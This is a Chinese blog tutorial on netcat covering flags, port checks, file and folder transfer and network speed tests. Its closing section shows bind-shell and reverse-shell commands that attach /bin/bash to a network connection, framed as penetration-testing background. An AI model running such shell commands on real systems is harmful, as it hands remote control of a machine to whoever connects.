nc命令用法示例
nc简介
nc
nc全称netcat,又叫做瑞士军刀,是一款简单、可靠的网络工具。
作用
- 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
- 端口扫描,nc可以作为client发起TCP或UDP连接
- 机器之间传输文件
- 机器之间网络测速
安装
CentOS/RHEL/Fedora:
yum install -y nc
nc --version
Ncat: Version 7.50 ( https://nmap.org/ncat )
或者
dnf install nc
Debian/Ubuntu:
apt-get install netcat
nc常见用法
nc命令常见语法格式
nc [参数] 域名/IP地址 [端口]
常用参数
- -h:帮助
- -4:仅使用 IPv4
- -6:仅使用 IPv6
- -v:显示详细信息,包括连接和数据传输的详细信息。
- -z:指定在连接成功后关闭连接,而不是等待输入。
- -n:指定不使用DNS解析主机名。
- -w:指定连接超时时间(以秒为单位)。
- -l:指定 nc 作为服务器监听连接。
- -p:指定本地端口号。
- -s:指定本地源地址。
- -k:指定服务器在接受一个连接后保持监听状态,以便接受多个连接。
- -u:指定使用UDP协议。
- -e, --exec
:执行给定的命令。 - -c, --sh-exec
:通过 /bin/sh 执行给定的命令。可使用管道符之类的符号 - -z:指定在连接成功后关闭连接,而不是等待输入。
- -b:指定在连接成功后将标准输入和标准输出重定向到后台。
- -t:允许nc与telnet兼容,例如处理特殊转义序列。
- -r:指定在连接成功后随机选择本地端口号。
- --version:显示 Ncat 的版本信息并退出
案例
环境准备
- 服务器1:10.0.0.11
- 服务器2:10.0.0.12
实用案例
网络连通性测试和端口扫描
测试主机的TCP端口
服务器1监听在tcp的60000端口
$ nc -lp 60000
# 或者省略-p
$ nc -l 60000
查看端口
$ netstat -ntlpu | grep 60000
tcp 0 0 0.0.0.0:60000 0.0.0.0:* LISTEN 2553/nc
tcp6 0 0 :::60000 :::* LISTEN 2553/nc
服务器2上测试
$ nc -zv 10.0.0.11 60000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.11:60000.
Ncat: 0 bytes sent, 0 bytes received in 0.00 seconds.
测试主机的UDP端口
服务器1监听在udp的60000端口
$ nc -lup 60000
# 或者省略-p
$ nc -lu 60000
查看端口
$ netstat -ntlpu | grep 60000
udp 0 0 0.0.0.0:60000 0.0.0.0:* 2633/nc
udp6 0 0 :::60000 :::* 2633/nc
服务器2上测试
$ nc -vzu 10.0.0.11 60000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.11:60000.
Ncat: UDP packet sent successfully
Ncat: 1 bytes sent, 0 bytes received in 2.00 seconds.
补充
-
加上
-w
可以设置超时时长nc -vzw 2 10.0.0.11 60000
设置超时时长2s
-
脚本中使用
端口正常的话,查询
$?
,就是0$ nc -z 10.0.0.11 22 $ echo $? 0
如果不正常,就不为0
$ nc -z 10.0.0.11 221 $ echo $? 1
-
当为ip的时候,加上-n选项会更高效
- 提高效率,避免的不必要的dns查询
- 脚本自动化,避免因为dns问题导致整个任务失败
- 安全稳定,避免dns欺骗或者缓存的问题
nc -vzn 10.0.0.11 60000
文件和目录的传输
传输文件
服务器2上待传输的文件
cat test.txt
第一行
第二行
第三行
第四行
服务器1上监听60000端口,并将传入的内容写入文件
nc -l 60000 > test.txt
服务器2上发送文件内容到服务器1的60000端口上
nc 10.0.0.11 60000 < test.txt
查看服务器1上的文件
cat test.txt
第一行
第二行
第三行
第四行
传输文件夹
利用tar来传输
经过我的测试管道后面最后必须是 -
,不能是其余自定义的文件名
启动服务器1上的接收服务
nc -l 60000 | tar xfvz -
启动服务器2上的发送命令
tar czf - ./nginx/* | nc 10.0.0.11 60000
./nginx/*
是指的相对路径,如果是 *
则表示当前文件夹的所有文件和文件夹
具体过程就是
把当前目录的所有文件打包为 -
,然后使用nc发送给服务器2
然后这边收到了之后再解包
测网速
dstat
这里需要用到另一个工具 dstat
dstat 是一个强大的系统资源监控工具,它能够实时显示系统的 CPU、内存、磁盘 I/O、网络流量、页面错误、任务切换等信息。
相比传统的 vmstat、iostat、netstat 等命令,dstat 提供了更为全面和综合的视图,并且可以灵活地定制输出内容以满足不同需求
安装 dstat
对于基于Debian/Ubuntu的系统
sudo apt-get update
sudo apt-get install dstat
对于基于RPM的系统(如CentOS, RHEL)
sudo yum install dstat
或者在较新版本的这些系统中使用DNF:
sudo dnf install dstat
使用Python包管理器pip(如果官方仓库没有或想要最新版本)
sudo pip install dstat
或者对于Python3:
sudo pip3 install dstat
测试上传网络
在10.0.0.11的服务器1上运行接收命令
nc -l 60000 > /dev/null
这里把来自这个端口的数据都输出给空设备 /dev/null
(这样不写磁盘,测试网速更准确)
在服务器2上运行发送命令
$ nc 10.0.0.11 60000 < /dev/zero
这里是把无限个0发送给服务器1的60000端口
然后再服务器2上使用 dstat
查看网速
$ dstat
You did not select any stats, using -cdngy by default.
----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai hiq siq| read writ| recv send| in out | int csw
0 0 100 0 0 0| 443k 36k| 0 0 | 0 0 | 651 1056
0 12 87 0 0 0| 0 0 |1553k 548M| 0 0 | 30k 1761
0 12 87 0 0 0| 0 0 |1302k 537M| 0 0 | 28k 1537
0 12 87 0 0 0| 0 0 |1503k 568M| 0 0 | 30k 1600
0 12 87 0 0 0| 0 0 |1489k 561M| 0 0 | 30k 1825
0 12 87 0 0 0| 0 0 |1231k 540M| 0 0 | 29k 1832
0 12 87 0 0 0| 0 0 |1345k 546M| 0 0 | 29k 1667
可以看到服务器2的上传数据,平均每秒500MB左右,也就是说网速大概是500M/s
测试下载网速
在服务器1上运行发送命令
nc -l 60000 < /dev/zero
谁连接这个60000端口时就会接收来自zero设备的数据(二进制的无限个0)
在服务器2上运行接收命令
$ nc 10.0.0.11 60000 > /dev/null
这里是把接收的数据输出到空设备上
然后再服务器2上使用 dstat
查看网速
$ dstat
You did not select any stats, using -cdngy by default.
----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai hiq siq| read writ| recv send| in out | int csw
0 0 100 0 0 0| 416k 34k| 0 0 | 0 0 | 719 1074
0 3 96 0 0 0| 0 0 | 554M 1594k| 0 0 | 40k 29k
0 3 96 0 0 0| 0 60k| 547M 1587k| 0 0 | 40k 29k
0 4 96 0 0 0| 0 6144B| 547M 1607k| 0 0 | 42k 29k
0 4 96 0 0 0| 0 0 | 545M 1638k| 0 0 | 43k 30k
0 4 96 0 0 0| 0 64k| 538M 1614k| 0 0 | 42k 29k
0 4 96 0 0 0| 0 0 | 540M 1631k| 0 0 | 42k 30k
可以看到上传速度也是大概500M/s
nc实现反弹shell
在网络安全和渗透测试中,使用nc(Netcat)实现反弹shell通常是指被攻击主机向攻击者主机发起连接并提供一个交互式命令行环境。
反弹shell的基本原理:
- 攻击者主机运行nc监听指定端口等待连接。
- 被攻击主机执行命令创建一个新的网络连接,该连接会通过TCP连接到攻击者的IP地址和监听的端口,并将本地shell进程的标准输入、输出和错误重定向至该网络连接。
正向反弹
也就是需要被攻击者先启服务,然后在后起服务的攻击者一方通过执行命令获取被攻击者信息或者执行其他命令
被攻击者运行命令
nc -l -e /bin/bash 60000
这里是把10.0.0.11的服务器1作为被攻击者,监听在60000端口上
攻击者上运行命令
$ nc 10.0.0.11 60000
# 就可以直接执行各种命令,得到的结果也都是在被攻击者上执行后返回的结果
hostname -I
10.0.0.11 192.168.122.1
反向反弹
也就是需要攻击者先启服务,后起服务的是被攻击者一方,然后攻击者一方就可以通过执行命令获取被攻击者信息或者执行其他命令
攻击者先起服务
nc -l 60000
被攻击者启服务
nc -e /bin/bash 10.0.0.11 60000
然后就可以在10.0.0.11的服务器1上执行各种命令来达到远程控制的目的
本文来自博客园,作者:厚礼蝎,转载请注明原文链接:https://www.cnblogs.com/guangdelw/p/17979818
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 如何使用 Uni-app 实现视频聊天(源码,支持安卓、iOS)
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)